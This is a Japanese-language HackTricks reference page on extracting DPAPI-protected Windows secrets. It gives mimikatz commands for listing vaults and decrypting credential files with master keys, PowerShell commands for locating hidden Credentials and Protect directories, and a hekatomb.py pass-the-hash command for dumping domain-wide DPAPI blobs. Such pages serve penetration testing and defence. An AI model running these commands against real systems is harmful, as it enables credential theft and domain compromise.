10 KiB
DPAPI - パスワードの抽出
htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学びましょう!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTsのコレクションです。
- 公式PEASS&HackTricksのスウェグを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm。
- ハッキングトリックを共有するために、hacktricksリポジトリ と hacktricks-cloudリポジトリ にPRを提出してください。
RootedCONはスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの1つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
DPAPIとは
データ保護API(DPAPI)は、主にWindowsオペレーティングシステム内で非対称プライベートキーの対称暗号化に使用され、ユーザーまたはシステムの秘密をエントロピーの重要なソースとして活用します。このアプローチにより、開発者はユーザーのログオン秘密から派生したキーを使用してデータを暗号化できるため、システムのドメイン認証秘密を使用する場合、開発者が暗号化キーの保護を管理する必要がなくなります。
DPAPIによって保護されるデータ
DPAPIによって保護される個人データには、次のものがあります:
- Internet ExplorerおよびGoogle Chromeのパスワードおよび自動入力データ
- OutlookやWindows Mailなどのアプリケーションの電子メールや内部FTPアカウントのパスワード
- 共有フォルダ、リソース、ワイヤレスネットワーク、Windows Vaultのパスワード(暗号化キーを含む)
- リモートデスクトップ接続、.NET Passport、およびさまざまな暗号化および認証目的のプライベートキーのパスワード
- Credential Managerで管理されるネットワークパスワード、Skype、MSNメッセンジャーなどのCryptProtectDataを使用するアプリケーションでの個人データ
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
資格情報ファイル
保護された資格情報ファイルは次の場所にある可能性があります:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
mimikatz `dpapi::cred` を使用して資格情報情報を取得し、応答には暗号化されたデータと guidMasterKey などの興味深い情報が含まれています。
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
次のように、適切な /masterkey
を使用して mimikatz module dpapi::cred
を使って復号化することができます:
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
マスターキー
ユーザーのRSAキーを暗号化するために使用されるDPAPIキーは、%APPDATA%\Microsoft\Protect\{SID}
ディレクトリに格納されています。ここで、{SID}はそのユーザーのセキュリティ識別子です。DPAPIキーは、ユーザーのプライベートキーを保護するマスターキーと同じファイルに格納されています。通常、これはランダムな64バイトのデータです。(このディレクトリは保護されているため、cmdからdir
を使用してリストすることはできませんが、PowerShellからリストすることができます)。
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
これはユーザーの一連のマスターキーが見えるようになります:
通常、各マスターキーは他のコンテンツを復号化できる暗号化された対称キーです。したがって、暗号化されたマスターキーを抽出して、後でそれで暗号化された他のコンテンツを復号化することが興味深いです。
マスターキーの抽出と復号化
マスターキーを抽出して復号化する方法の例については、https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++を参照してください。
SharpDPAPI
SharpDPAPIは、@gentilkiwiのMimikatzプロジェクトからのDPAPI機能のC#ポートです。
HEKATOMB
HEKATOMBは、LDAPディレクトリからすべてのユーザーとコンピュータを抽出し、RPCを介してドメインコントローラーバックアップキーを抽出するツールです。スクリプトはすべてのコンピュータのIPアドレスを解決し、すべてのユーザーのDPAPIブロブを取得し、ドメインバックアップキーですべてを復号化します。
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
LDAPから抽出されたコンピュータリストを使用すると、それらを事前に知らなくてもすべてのサブネットワークを見つけることができます!
"ドメイン管理者権限だけでは不十分です。すべてをハックしましょう。"
DonPAPI
DonPAPIは、DPAPIで保護されたシークレットを自動的にダンプできます。
参考文献
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパで最も重要なイベントの1つです。技術知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての活発な交流の場です。
{% embed url="https://www.rootedcon.com/" %}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけましょう
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm.
- ハッキングトリックを共有するために hacktricksリポジトリ と hacktricks-cloudリポジトリ にPRを提出してください。